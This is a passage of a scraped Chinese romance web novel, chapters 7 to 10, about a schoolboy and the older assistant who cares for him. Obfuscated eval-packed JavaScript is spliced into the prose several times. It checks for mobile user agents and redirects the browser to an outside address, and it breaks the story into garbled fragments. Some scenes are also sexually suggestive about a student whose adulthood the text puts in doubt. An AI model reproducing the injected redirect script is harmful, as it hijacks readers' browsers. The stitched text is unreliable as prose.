他靠在柱子上百无聊赖地丢着石子儿,直到视线突然被吸住。一个穿着黑色西装的男人从草坪的远处穿过人群向他走来,一手插着裤兜,气质洒脱不俗,步子迈得有条不紊,周围的目光频频落在他的身上。 向日葵猛地睁大双眼,本能地露出笑颜,起身朝他奔去,“哥!” 即便是逆着光朝他走来的,林缅觉得郜屿宁身后真正的太阳跟郜屿宁比起来都要逊色。 他抱住郜屿宁,把他撞了个踉跄。 “哥,你终于肯见我了。”他像只小狗一样把脑袋在郜屿宁肩膀上蹭了又蹭。 听闻此言的郜屿宁没好气的哼笑了一声,只恨不能把林缅揍一顿。 林缅给他发的消息他虽然回复冷淡但一条也没错过。上次的指控还是“你不让我回家”,现在直接变成了“你连见我都不肯了”。真要计较起来,今天成人礼也要算是他不请自来。 “你以后跟你爸撒谎能不能跟我通个气儿。”郜屿宁今早去找林佑勤汇报工作,被一句“你怎么还在这”问懵了。 刚刚照相照得发誓这辈子再也不想拍照的林缅,又抓住同学给他和郜屿宁拍了两张拍立得。 他只顾着低头欣赏照片。 郜屿宁啧了一声,有些嫌弃地帮他理衣服,因为刚刚抱着他黏黏糊糊了很久,西服都揉皱了。 “外套扣子也不知道扣扣好,衬衫怎么皱皱巴巴的?” “你又没教过我衬衫夹怎么用。”林缅又归罪于郜屿宁。其实沈珏给他准备了,只是他自己懒得戴罢了。 “这还用我教?还有,你问了吗?”郜屿宁反问。 林缅沉着脸说,“还说呢,都多久没接我回家了。”手上却很宝贝地把两张拍立得塞进口袋里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990805|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是把密码换了还是把门焊上了,你自己有手有脚的,不会自己走?” “反正你就这个态度!” 郜屿宁双手抱在胸前,眼神轻轻地落在林缅的脸上,已经完全把这个看似骄矜的小少爷拿捏住,不咸不淡地说,“哦,我不让你回你就不回了?其他方面也没见你这么听话啊。” 林□□然立刻心虚地噤声,脑袋朝旁边扭去,他害怕郜屿宁又把话题落到出国不出国的事情上。 郜屿宁重新抬起嘴角,头朝左边偏了偏,“我车上有多的,帮你戴?” 郜屿宁给了个台阶,林缅就赶紧下来了,“哦,好吧。” 两人去车上拿了衬衫夹的盒子,又一起回了林缅的宿舍。 林缅是后来搬来普高部的,宿舍也是后来才分给他的,他一个人住着双人寝,宿舍空荡荡的。林缅突然有点紧张。 郜屿宁坐在他的床边,从盒子里把两条衬衫夹拿了出来放在一边,他西装的扣子被解开,身体微微向后仰着,一只手撑在床上,等林缅脱裤子。 林缅被郜屿宁盯得浑身难受,这是以前从来没有过的。他磨磨蹭蹭地低头解裤子上的扣子,脸不知不觉地在变红。 这幅样子郜屿宁倒是觉得新鲜,以前林缅有太多小屁孩儿行为了。比如没羞没臊地让郜屿宁目测他的尺度给他挑内裤,也会在郜屿宁洗澡忘记拿浴巾的时候不请自来地冲进去给他送浴巾,还会自取其辱地要跟郜屿宁比大小… 郜屿宁尽量压平嘴角,“不用全脱,你过来。” 林缅拎着裤腰,露出两节白晃晃的大腿,艰难地走了两步,站到他面前。 郜屿宁低着头把一条衬衫夹环在他的大腿上,帮他调整到合适的尺寸,直到大腿被微微勒出一点凹痕。 垂下来的夹子蹭在他的大腿皮肤上冰冰凉凉的,林缅不自在地扭了一下。 “不舒服吗?” “有点…” 郜屿宁一只手从他双腿之间伸过去,覆在他一条大腿的后侧,朝身体的方向拽了一下,“过来一点,我帮你再调一下。” 林缅两只手一直垂在两侧拎着裤腰,被推着往前走了半步,一个没抓紧,裤子彻底掉在地上,堆在他的脚上,两条大长腿就这么明晃晃地暴露在外面,林缅没忍住娇气地小声惊呼了一下。 空气凝固了一秒。 接着林缅看见郜屿宁憋笑憋得肩膀都在抖,林缅一阵羞臊,“哥!”,攥着拳头用力捶在郜屿宁的肩膀上。 郜屿宁笑得不行,林缅也不管了,直接把他推倒在床上,乱拳打在他的身上,“你再笑!” 林缅抬起左腿,曲着膝盖撑在床上,上身撑在郜屿宁上方,另一只手企图捂住郜屿宁的嘴巴让他闭嘴,但是无果。 两人闹了一通连敲门声都没听见,陈汋和池景行直接推门进来。 “找你半天了,怎么自己回宿舍了…” 他们站在门口,这次轮到陈汋惊掉下巴了。 林缅的裤子被褪到脚后跟,跨坐在郜屿宁的身上,喘着粗气,面色潮红,直起身子看向门口呆若木鸡的两人。 林缅心跳骤停了半秒,连郜屿宁拽过被子把他的屁股盖住都没察觉到。 陈汋赶紧把池景行的眼睛挡住,拉着他出了门。 林缅转过头埋怨地捶了郜屿宁两下,自暴自弃地倒了下去,侧躺在床上,把脑袋埋进已经被揉乱了的被子里。 郜屿宁起身,居高临下地看着被子里的一团,声音比刚刚沉稳很多,“起来,把裤子穿好。” 林缅还是当鸵鸟一动不动,裤子已经彻底堆在脚上,郜屿宁握住他的脚踝把他拖了出来,狭小的一张床林缅无处可躲,不得不听话地站起来。 林缅头发凌乱,把脑袋偏向别的地方,不再低头看郜屿宁帮他弄衬衫,直到郜屿宁帮他把裤子提好,扣子也帮他扣上,依旧一副任由摆布的样子。 好像刚刚被狠狠凌辱了一番。 8. 第 8 章 重新整理好服装,把头发抓好,两个人一起朝礼堂走去。 林缅还故意梗着脖子,不理郜屿宁。进了礼堂,他冷漠地拽着郜屿宁袖子坐到特地让陈汋给他俩留的位置上。 陈汋正不怀好意地看着他,林缅立刻抬起手挡在陈汋面前,“别跟我说话。” 陈汋讪讪地耸了耸肩,又跟另一边的池景行脑袋凑在一块去了。 成人礼已经进入最后最无聊的进程。秃头校长上台发言。 教师代表上台发言。 直到“有请学生代表徐语常上台发言。”台下掌声雷动。 林缅虽然兴致不高,但还是把掏出手机来录像。 郜屿宁看到了一直被林缅挂在口上的那位早恋对象,徐语常。 穿着一袭黑色长裙,确实漂亮夺目。 郜屿宁换了个姿势,靠在远离林缅的那一侧的座椅后背上,手肘撑在把手上,支着下巴,余光能看清林缅的表情。 却发现林缅出奇地淡定,甚至还是臊眉搭眼的。 郜屿宁本以为林缅能为对方下这么大决心留下来参加残忍的高考,总该是爱得死去活来,一看到对方就喜笑颜开、喜怒都被对方牵着走才对… 反观林缅只是一个冷漠的手机支架,看着台上大放异彩的徐语常,却面无表情,好像还沉浸在和郜屿宁耍性子的情绪里。 林缅举得手都酸了,决定后半段直接不录了,把视频发给了徐语常。 林缅:神图有了,姐妹。 林缅:自己挑挑吧。 林缅感觉到郜屿宁在看他,但是就是故意不回头看他。他更生气了,自己都把不高兴写在脸上了,一句哄他的都没有。 成人礼最后一项议程结束,礼堂里的人稀稀拉拉地散场。 外面天色已经不早了。 一走出礼堂,林缅就跟开了暴走模式一样,一路走到停车场,扭头却看见郜屿宁不紧不慢地走过来,也不给他开个车门,让他就这么狼狈地就站在车边等他。 郜屿宁走到他面前,也不急着解锁,淡淡地说,“来劲了是吧?” 林缅抬眼瞟了他一眼,声音变小了很多,却依旧埋怨地说,“谁让你笑话我的,还让我脸都丢尽了!” “脸皮什么时候变这么薄了?”郜屿宁掐了一把他的脸。 林缅把脸从他的手里挣开,跟数码宝贝似的换了个方向站,只留给郜屿宁一个绝情的侧脸。 郜屿宁从容地靠在车身上,却直接换了个话题,“我看了你这几次模考的卷子,进步是挺大的。” 林缅侧过头,将信将疑地看向他。 “看来是铁了心了?”郜屿宁抬了抬单侧眉毛。 林缅原本皱巴巴的小脸亮了起来,看向郜屿宁含笑的表情。 下一秒他直接蹦到郜屿宁的身上,搂着他的脖子,什么赌气什么丢脸全都抛到脑后,“我就知道你最好了!哥哥!肯定会支持我的。” 郜屿宁抓住他的手臂,把他拽开,冷笑了一声,“可别,刚刚不知道谁快恨死我了…” 话还没说完,林缅又拿脑袋在郜屿宁的胸口上钻洞,钻得一头卷毛变成了鸟窝,“哪有,没有的事…” “我给你定个目标,考不上江大,你这辈子别来见我了。” 林缅的成绩差江大十万八千里呢,但这种时候也不管现实不现实了,满口答应,“哥你放心,我肯定好好学!” 又放低声音加了一句,“只要你别不理我。” “出息。”郜屿宁哼笑道,无奈地任由林缅将他手臂晃来晃去。 天色早如同泼了墨一样以肉眼可见的速度被染成灰蓝色,停车场的大灯在这一刹亮了起来,整个世界变得明晃晃的,两人的影子交叠在一起。 觉得迷茫痛苦了很久的林缅在这个瞬间觉得心也被照得亮堂堂的,用力抱住了郜屿宁,大口呼吸着带着郜屿宁气息的空气,终于觉得自己的未来也是有形状的、可以摸得到的了。 郜屿宁抽出手臂,掸了掸林缅的肩膀,“走吧,少爷,订了餐厅。不然白瞎这么好看的西装了。” 说实话林缅穿这身还挺像模像样的,他的身形已经能完全撑得起这样的正装,完全摆脱了稚气,背脊挺拔,气质卓越。 郜屿宁说着把车门打开,把林缅塞进去,但林缅却抓住他的手,“别啊哥,我想回家。” 郜屿宁把车门关上,绕到驾驶室,上了车,“怎么了?” “我想回去点外卖,然后一起看假面骑士,就像我们以前在小房子里那样。”林缅亮着眼睛说。 又有些埋冤地补充道,“你都好久没这样陪我了。” 郜屿宁微微怔住。 小房子指的是郜屿宁以前那个出租屋,那个时候郜屿宁还只是初级助理。初入社会,工作并不顺心,加上母亲去世后家庭变故,迷茫痛苦。独自在大城市谋生,手头并不富裕,自己的生活颓废不堪,一团糟糕。 还要管一个破小孩儿的事,郜屿宁起初心里抵触。但还是只得被林缅的班主任训得像孙子一样、不耐烦地为林缅补习落下的功课、没好脸色地为吃饭不规律的林缅对付三餐… 只是林佑勤本来也没让他管林缅管到这种衣食住行样样包揽的地步。 竟也是他自己心软同意林缅黏在他身边的。跟着他一起吃快餐速食,虽然嘴上抱怨得很,但其实很乖,也不觉得郜屿宁的出租屋狭窄逼仄,比起回家也更愿意待在这里。 后来郜屿宁凭能力职场晋升,生活改善了很多,虽然贷款但也在寸土寸金的江市有了自己的房子。 他想不起来何时算跟过去那段颓靡的时光彻底割席。 可能就是从某个礼拜都决定每周带他去吃传说中很有营养的的儿童牛排开始的,也可能是从为了林缅慢慢开始学做饭开始。 但还是还是留下了很多不太好的印记,比如烟瘾、失眠、三餐不规律… 现在想来那段时间,有些颓废和不堪,他自己都不愿意回忆。甚至有一部分原因,是觉得自己对林缅很差劲。 但是在林缅的眼里,却很纯粹很美好。 “哥,好不好嘛?” 郜屿宁思绪回笼,松开抿直的嘴唇,“好。” 回到家里,林缅快饿晕过去了,捧着郜屿宁手机点了一堆炸鸡快餐,觉得自己胃口大得能吃下一头牛。 郜屿宁知道他只是猪瘾大但胃口小,警告似的敲了敲他的脑袋,“吃不完你等着。”说完还是任由他接着点。 林缅迫不及待地要把箍在腿上的束缚给拆掉,等外卖的空档就先去洗澡了。洗完又赶紧催郜屿宁去洗澡,看上去兴奋得要命,等不及要享受晚上的贤者时光了。 郜屿宁从浴室里出来时,茶几上摆得满满当当,一个个餐盒摆得很整齐,电影也找好了定格在片头的位置。 人却跑到了阳台上,撑在栏杆上,一只手拿着手机,在打电话。楼层很高,阳台的灯是昏黄的氛围灯,悠悠然地落下来,宽大的T恤和裤腿顺着风向贴在他身上,看着就有些涩骨。 似乎察觉到身后的目光,林缅转过身看见了郜屿宁,他垂下了眼睛,跟电话那头又说了两句,挂了电话就进来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990806|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郜屿宁才看清林缅洗完澡连头发都没有吹干,就站在外面吹冷风,“想变成面瘫?” 说着把他推进卫生间从柜子重新拿出吹风机。 郜屿宁并没有问他在和谁打电话,但林缅很主动地报备,“刚刚是我哥,亲哥,林准打来的。” “嗯。”郜屿宁只是应了一声。林准每个月会跟林缅视个频或是送个礼物什么的,更别说今天是林缅成人礼,会打电话也不意外。 但在国外几年没回来了,不知道靠打电话能维系什么感情。郜屿宁不甚在意。 吹风机发出嗡嗡的声音,两个人说话也听不见,保持了很长一段时间的沉默,郜屿宁拨弄着林缅的头发,关掉吹风机之后,说了句,“头发长了。” 林缅照着镜子,揪了一撮额前的头发往下拉直差不多到鼻梁的位置了,“嗯,卷毛要被剪没了。” “哥你觉得我还要不要再烫小卷毛。” “都行。”郜屿宁随口回答。 “不要都行,你喜欢我什么样?”林缅亮着眼睛,记得当初刚烫完小卷毛回来,郜屿宁动不动揉他脑袋,明明就是很喜欢的样子。 见郜屿宁还在收拾洗漱台上的东西,他自觉地往边上稍了稍又问,“那你觉得我是染别的颜色,还是黑色的呢?” 他照着镜子,抓了抓头发,自顾自地说,“我也觉得黑色更好看。” “那就黑色。”郜屿宁低着头将吹风机的插线收起来。 得到敷衍回应后,林缅舔了舔嘴唇,看向镜子里的郜屿宁,平日里会抓发型,但洗完澡之后变成了顺毛,眉毛被碎发遮着若隐若现,把锋利藏了起来,看起来比平日里都软绵绵毛茸茸了不少,温柔了一点。 林缅正想着,突然郜屿宁抬起手在他面前打了个响指,林缅一哆嗦,两个人在镜子里对视,郜屿宁见他吓一跳,嘴角微抬,“发什么呆呢。” 说完往后退了两步,出了卫生间,林缅也赶紧跟了出去。 应林缅的仪式感要求,客厅只能留一盏泛黄的氛围感立灯,电视里发出电影放映的声音,折射出缤纷的光亮照满整个客厅,林缅准备大快朵颐起来。 林缅坐在沙发面前的地毯上,郜屿宁就坐在他旁边的沙发上,前倾着身子,手肘撑在膝盖上,帮林缅把餐盒都一一打开,摆摆整齐。 果然没过多久,林缅就进入了倦怠期,吃不下了,靠在旁边郜屿宁的腿上,脑袋就搭在他的膝盖上,两条手臂松松地环住郜屿宁的腿,玩着他的脚踝。 知道林缅吃不下了,桌上还剩下一大半,郜屿宁用那条腿顶了顶他,“坐到上面来,窝着容易消化不良。” 林缅是个软骨头,吃多了就想靠着躺着倒着,上了沙发也是一样。不安分地扭来扭去,换了好几个姿势,最后郜屿宁被他折腾得不耐烦。 “啧,别乱动。”郜屿宁用手臂环住他,林缅被梏在郜屿宁的怀里,所有的受力点都落在郜屿宁身上。 这样暧昧的姿势两个人都没觉得有什么不对劲。以前那个出租屋的沙发很小,这样交叠程度最高的姿势很舒服。 “想好怎么跟你爸说吗?不出国的事。”郜屿宁突然问。 “下次回去直接说呗,”林缅不以为意地说,“反正他也不是真的在乎。”大不了就是被臭骂一顿,再不济挨个巴掌。 郜屿宁顿了片刻,“别回去,我来说。” 本来就没有把林佑勤想法放在心上的林缅只是随意应了一声。 从头到尾他在乎的就只有郜屿宁的意见,就像他知道也就只有郜屿宁是真的在乎他的了。 9. 第 9 章 “哗啦啦…” 第二天大清早,郜屿宁直接推开林缅房间的门,一把把窗帘拉开,发出不小的动静。 林缅被闹醒了,窗外的太阳也撒了满屋,他一头钻进被子,拉长了声音抱怨,“哥…” “起床。”郜屿宁一巴掌拍在林缅的屁股上,又把被子扯开。 被窗外的阳光照得刺眼的林缅把已经被蹭到额角的眼罩扯下来,抱住脑袋,“哥…昨天晚上睡太晚了…” “还好意思说?” 昨天晚上看电影的时候,林缅早就眼皮子打架了,却不肯回去睡觉。郜屿宁每次喊醒他叫他回去睡,却都被用饭晕、姿势太舒服等借口搪塞过去了,但很快又困了,就这样循环往复硬生生熬到三点。 林缅没回答,扯回被子又钻了进去。 郜屿宁一只手撑在腰侧,看着被子里那一坨,眉毛微蹙,“还复不复习了?” 被子里那一坨终于蠕动了一下,慢吞吞地从被子钻出来,头发乱成一团,扯掉眼罩后眼睛不太适应地皱了起来,他撑在床上缓了一会,扫了眼郜屿宁的脸色,声音闷闷的,“起来了。” 郜屿宁把昨晚被他踢得天各一方的拖鞋扔到林缅的床边,出了房间。 林缅洗漱完拖着步子走到餐桌边,拿起一个包子慢吞吞地往嘴里塞。 “把你上次校内模考的卷子拿给我。”郜屿宁抿了口豆浆,对林缅说。 林缅眼皮还是垂着,手里的包子只受了点皮外伤连心都没咬到,“在书包里,等会找。” 郜屿宁直接放下筷子,起身去沙发边拿林缅的书包,拎到餐桌边。林缅的书包里都是卷子和草稿纸,翻找的时候整个书包看上去轻飘飘松垮垮的。 啪嗒。 一个小盒子从侧袋里掉了出来。 掉在地上,郜屿宁的脚边。 林缅还在小口啃着那个包子,刚起床实在没什么胃口。 “林缅。” 郜屿宁直起身子,手里拿着那个盒子,面无表情地看着林缅,“这是什么?” 林缅抬眼看见郜屿宁手里捏着一小盒避孕套。是上次在陈汋家里不知道被他丢到哪里去的那个。 刚刚还瞌睡虫上身的林缅一下子清醒了,眼睛睁大,嘴巴微张,与郜屿宁居高临下的气势压迫下显得他很慌张,“不是哥!这不是我的…” “骗小孩儿呢?” 苦于林缅觉得直接把当天的原委说出来有种背叛朋友的感觉,他只能苍白地说,“真的…” “林缅,你成年了吗?”郜屿宁反问他。 林缅连忙辩驳,“我没用过,我真没用过,你看这包装都好好的。” 郜屿宁把盒子不轻不重地扔在桌上,眉眼依旧毫无笑意,“我警告你,成年之前不该干的事情别干,想都不要想,被我发现了腿给你打断。” 一般郜屿宁说这种话就代表暂时放过他了,林缅很了解,赶紧点头如啄米,露出讨好的笑容,“哥,你放心,我最听话了。” 郜屿宁冷眼看了他几秒,才抱着手臂靠在椅背上,拿起林缅的卷子,眉毛又渐渐拧在一起。 林缅偷偷瞄着郜屿宁,穿着宽松的居家服,顺毛,戴着不常戴的黑框眼镜。他想起昨天还觉得居家版的郜屿宁好欺负,怎么会有这种错觉。 他有点不怕死地突然想问,“哥,你试过吗?什么感觉?舒服吗?” 郜屿宁上学时期一门心思在奖学金上,能力长相都不是一般的出众,追求者自是不少,但是他都无心顾及。上班后更不用说了,有了林缅这个小尾巴,没空也没心思谈情说爱。 但是郜屿宁还是眼神不从卷子上移开一下,声音冷得能把林缅冻死,冷漠地一一回答,“一般,没感觉,不舒服。” 林缅张了张嘴还想问,却被郜屿宁一个不悦的眼神憋了回去,“小屁孩儿满脑子都是什么?我刚刚警告过你了。” 都是你呀都是你呀都是你呀。 林缅悻悻地闭了嘴,“哦。” 眼看郜屿宁看卷子的表情越来越凝重,林缅很自觉且讨好地把餐桌收拾了,又轻手轻脚地拿出练习册。 郜屿宁问他这张卷子里有没有哪里不懂的,林缅指了几道,郜屿宁都给他讲解了一遍。 林缅订正错题的功夫,郜屿宁回房间拿了一叠资料出来,“等会别急着做新题,把这上面的题做了。” 林缅看了眼,全是他这几次模拟考试和高考真题的错题,还按照考察内容分门别类的整理在一起了。 林缅鼻子一酸,这肯定不是这两天弄得好。 他不难猜到,在之前那段时间里,郜屿宁肯定也为他的事情发了不少愁、废了不少心思。 “又发呆。”郜屿宁敲了敲他的脑袋。 林缅赶紧拿笔写题,虽然磕磕绊绊,但是正确率还算可以。郜屿宁把他做的时候卡住的题目又给他讲了一遍,因为相同类型的题目都放在一起对比了,林缅感觉知识点都被拎得很清楚。 郜屿宁把林缅的那本练习册拿过来,用笔圈了几道题目让林缅举一反三。因为都是刚刚那些错题和知识点的变体,在林缅的眼中这道题目要考察什么清晰了很多,做得还算熟练。 做完给郜屿宁检查了之后,他刚准备把剩下来的题目写完,练习册却被郜屿宁直接拿走,扔在了一边。 郜屿宁接着说,“剩下的不用做了。” 林缅愣了一下,说,“那是作业,要交的。” “你都会了,做了也是浪费时间。” 郜屿宁见林缅还是僵着,抬了抬他的胳膊,语气缓和了很多,“去背会书,换换脑子。” 对郜屿宁说一不二的林缅拎着课本去沙发上背书了。郜屿宁把电脑拿出来忙了会儿工作。 很普通的周末,阳光洋洋洒洒落进屋子,明媚得连空中雀跃的尘埃都能看清,又像是一条晶莹的毯子,温暖地铺在身上、又照进心里,暖烘烘的,是很舒服的春天的温度。 两个人都忙碌着自己的事情,无言却互相陪伴,早已成习惯,两颗心贴得有多近可能连他们自己都没意识到。 林缅背完书,回到餐桌边上,郜屿宁已经去厨房里忙活午饭了。 很奇怪,两个都不好好吃饭、觉得一个人的时候就随便对付对付的人,凑在一块却一天三餐十分规律。 林缅把桌子收拾好,看见郜屿宁电脑上是他看不懂的图纸,但在他的意识里这些是技术部工程师的活,麻烦不到在总裁办的郜屿宁,他问,“哥,你怎么还要干这些?” “朋友公司的,让我帮忙看看。”郜屿宁把佐料倒进锅里,伴随着嘶嘶啦啦的声音,他回答。 “哦。”林缅把卷子都收拾好,小心翼翼地把电脑捧到茶几上,坐到餐桌边上,“周末也要忙别人的事吗?可是这样你很辛苦。” 郜屿宁把盘子端上桌,“小孩儿别管。” 林缅心中不悦,早上他打探那方面事儿的时候就被一句小屁孩儿怼了回来,现在也是,可是他明明是在心疼郜屿宁。他很讨厌老是被郜屿宁当作小孩儿。 但是他转念想起自己对郜屿宁过分的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林缅若有所思地按照自己的理解解释了一遍,边讲边拿着笔圈圈画画,感觉自己掌握了之后兴奋地扭过头问,“对吧。” 林缅个子比郜屿宁差了一些,坐在他腿上正好能平视。这一刹那两人的距离近到能感觉到对方的呼吸的温度,还夹杂着牙膏的清香,只差一点点两人的嘴唇就要碰到一起。 凝滞了两三秒,不知道是谁的呼吸先乱了一步,林缅回过神来,弹射着站了起来,假装很忙碌地开始书包。郜屿宁也察觉出气氛的诡异,清了清嗓子,起身去卫生间刷牙。 林缅收拾完书包,准备今天溜回自己房间睡觉,郜屿宁正好从卫生间出来,以为林缅晚上又准备开夜工学习,“干什么去?” 林缅只好侧着身子,在他眼皮子底下钻进郜屿宁的房间,上了床赶紧用被子把自己的失态遮住,在郜屿宁回房间之前赶紧闭上眼睛装睡。 直到感觉另一侧的床上的人已经躺了下来,房间的灯也已经关上了,漆黑中林缅眼睛缓缓睁开,心跳很快,但又被酸胀充斥。 在这段时间,林缅没有刻意区分对郜屿宁是哥哥一样的依赖,还是真正的喜欢和爱。他一直按照多年以来两人相处的惯性继续黏着郜屿宁。 但现在在他真实地因为郜屿宁身体产生反应过后,他突然有点沮丧。 因为他不想得不到回应。 他有点理解陈汋那时候口中说的:“你以后就懂了。” 他脑海中反复回放刚刚的画面,有点后怕,也不知道自己是怎么忍住没有亲上去的,却又忍不住地续写亲吻之后的故事。 10. 第 10 章 郜屿宁发现林缅最近经常梦.遗。 大早上轻手轻脚地回自己房间换内裤,又偷偷摸摸地跑去卫生间搓内裤,搓得脸红耳热的。 郜屿宁一开始也没想提,这本来就是青春期的男生会经历的很正常的事情。但是林缅做题的时候开始经常犯很低级的错误、还老是走神没精打采的。 吃早饭的时候,林缅趴在桌上边嚼嚼嚼边订正昨晚上默错的古诗填空,郜屿宁看了眼他的本子,差点气死,把错别字的版本抄了十遍。 郜屿宁一阵来火,觉得他心思根本不在学习上,问他,“你最近怎么回事儿?” 林缅被吓了一跳,坐直了,不知所然地看向他,“什么?” 郜屿宁本就是朝阳台坐着,看着他冲前方抬了抬下巴。 林缅随着他的示意扭头看过去,空荡荡的阳台上挂了一排小内裤,有一条今天早上洗的还在滴水,正好一阵风刮过,小内裤们还很合时机地晃了晃。 林缅突然一阵羞臊,或者说是恼羞成怒,跟炸毛了似的,低下头假装继续吃早饭,脸却胀得通红,“什么怎么回事!我又不是阳.萎!这不是很正常!” 脸埋得很深,无能狂怒完之后,又声音很低地心虚地解释道,“就是压力太大了呗…” 郜屿宁也不是一定要让林缅说出个一二三出来,但发现林缅确实开始有自己的秘密了。他不知道是不是代表两个人开始渐渐走远的预示。 但他想起,林缅十四五岁第一次遗精就在之前那个小出租屋里。两个人挤在一张床上,连郜屿宁的裤子上都沾到了。当时郜屿宁白眼都快翻到天上去了,把罪魁祸首从被子里拖出来的脸红到耳朵根,郜屿宁才没忍心把他揪着暴打一顿,只好自认倒霉,粗暴地把他内裤扒下来,又把光着屁股蛋的林缅抗到沙发上,收拾乱七八糟的床单被套。 只是,如果这样的事现在再发生一遍,他确实做不到像之前一样直接把林缅的裤子扒下来,再把他当小孩儿嘲讽几句。 “你要是嫌弃,我以后自己睡呗。”林缅自暴自弃地说。 郜屿宁清了清嗓子,少见地有些不自在,“不是,要是压力大,睡觉之前可以先解决一下。” 一天两条内裤,换得都不够你糟蹋的。郜屿宁硬生生把这句调侃他的话咽了下去。 “哦…”林缅把写错的字擦掉重新订正,兴致不太高地回答。 晚上睡觉之前林缅会频率不太高地去“解决”一下,但每次都会待很久,出来的时候也沉着脸,疲倦地爬上床后把自己裹成个粽子,并没有一身轻松的感觉。 之前见识过林缅用了一地的纸巾的郜屿宁,怎么也想不到林缅这样是因为自己弄不出来、觉得没意思。 林缅这样告诉他的时候,郜屿宁沉默了片刻,“那是为什么?” 为什么睡觉的时候却会梦遗。 林缅当然不会告诉郜屿宁是因为跟你睡在一起。他觉得自己有点矫枉过正了,越是不许自己想郜屿宁越是忍不住,想到睡梦中两个人会贴在一起、抱在一起他就觉得身体热热的,他想蹭蹭哥哥的嘴巴、抱住哥哥的腰,不知不觉陷入了某种情结不深但也很难受的自我厌弃里。 但又舍不得说我自己一个人睡。 “不知道,就是很不舒服,也没感觉。”林缅垂着头啃包子,兴致缺缺。 啃到心儿了才发现自己拿错包子了,是梅干菜的,他不爱吃梅干菜的,“哥,是梅干菜的。” 郜屿宁接了过去,把手里那个豆沙的给了他。两人很自然地吃着对方剩下的包子。 林缅眼皮轻轻掀起来,看向正在查看百度结果的郜屿宁。 他抿了抿嘴唇,干涩的嘴唇恢复了一些水润,低着声音问,“哥,下次你帮我好不好?” 郜屿宁看到搜索结果里确实有提到心理压力大或是情绪焦虑也会有影响。郜屿宁继续往下滑,研究得很投入。 林缅觉得自己脸都快烧起来了,对方却无动于衷,把脸贴在冰凉的桌子上,又加了一句,语气怨怼,“不然我睡也睡不好,学也学不好…” 郜屿宁扫了眼愁着小脸的林缅,“晚上回来再说吧,实在不行带你去看医生。” 林缅抬起脑袋继续啃早饭。 今天是周六,郜屿宁却还要加班,林缅帮郜屿宁把西装外套从房间里拿出来,又挑了条领带,埋怨道,“你老板怎么这样,大周六的还要加班,没人性。”完全没顾及地吐槽自己的亲爹。 郜屿宁说,“好好复习,晚上回来检查。” “知道啦。”林缅点了点头。 最近公司很忙,下午还临时加了一场会议,郜屿宁到办公室就忙得脚不点地。 午休的时候,郜屿宁去茶水间接咖啡,几个别的部门的同事八卦地讨论着最近发生的事儿,整个公司总有点人心躁动的感觉。 有一个同事靠过来向他打探公司高层的人员调动。 郜屿宁知道这是最近公司里浮躁的原因,传言会有狠角色空降。但是作为除了他的秘书之外距离林佑勤最近的人,他一点也没听说过。 他抿了口咖啡,“可能吧,不太清楚。”即便他自己觉得是空穴来风,还是模棱两可地简单回答了句。 下午会议进程正常的推进,但不出意外地冗长,会议结束已经是下班的点了。会议室里的人逐渐离场,郜屿宁也整了整资料准备回办公室。 但是林佑勤的李秘书叫郜屿宁去一趟总裁办公室。 本想早点回去烧饭带孩子的郜屿宁只好收拾了资料丢回办公室,就去了林佑勤办公室。 办公室里只有他们两人,林佑勤正在抽雪茄,朝沙发的位置点了点,示意郜屿宁坐。 郜屿宁想赶紧回家,但还是有条不紊地说,“您说,林总。” “最近小缅怎么样?”林佑勤问。 一直想着要找机会告诉林佑勤林缅想要留在国内的事情,郜屿宁突然觉得现在倒是个好时机,不如干脆说了。 就在他准备开口的时候,林佑勤正好说,“小缅不肯出国的事情,你是知道的吧?” 郜屿宁微怔,下意识地分辨林佑勤说这句话时的情绪,但接着就听到他无奈地哀叹了一声,“你也不用为难,他长大了有自己的主意也很正常。” 郜屿宁扯了扯嘴角,略显苍白地说,“也没有。” 林佑勤继续说,“这小兔崽子压根儿没把我这个爹放在眼里,派他哥来当说客,知道这招最管用。” 郜屿宁顿了片刻,嘴唇抿成一条线,用沉默回答。 “反正他哥也准备要回国了,多了个管他的,以后也不会总黏着你。” 原来之前说空降的高层就是林准。 郜屿宁看着林佑勤指尖的烟被捻灭在烟灰缸里,无力地飘起若有似无的白烟,他突然觉得嗓子很紧,肺也隐隐发痒。 林佑勤接着开始说废话,说你又懂技术又有能力等进了管理层能有多吃香巴拉巴拉,还说林缅和他亲哥分别时间很长要多培养感情,留在国内也是好事。 郜屿宁的视线从烟灰缸移到林佑勤的眼睛上,直到谈话结束,他只记得他画了个大饼,其他什么都不记得。 回到家楼下的时候,天色已经完全暗下来。 郜屿宁总觉心头蒙着一层灰。自从上次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 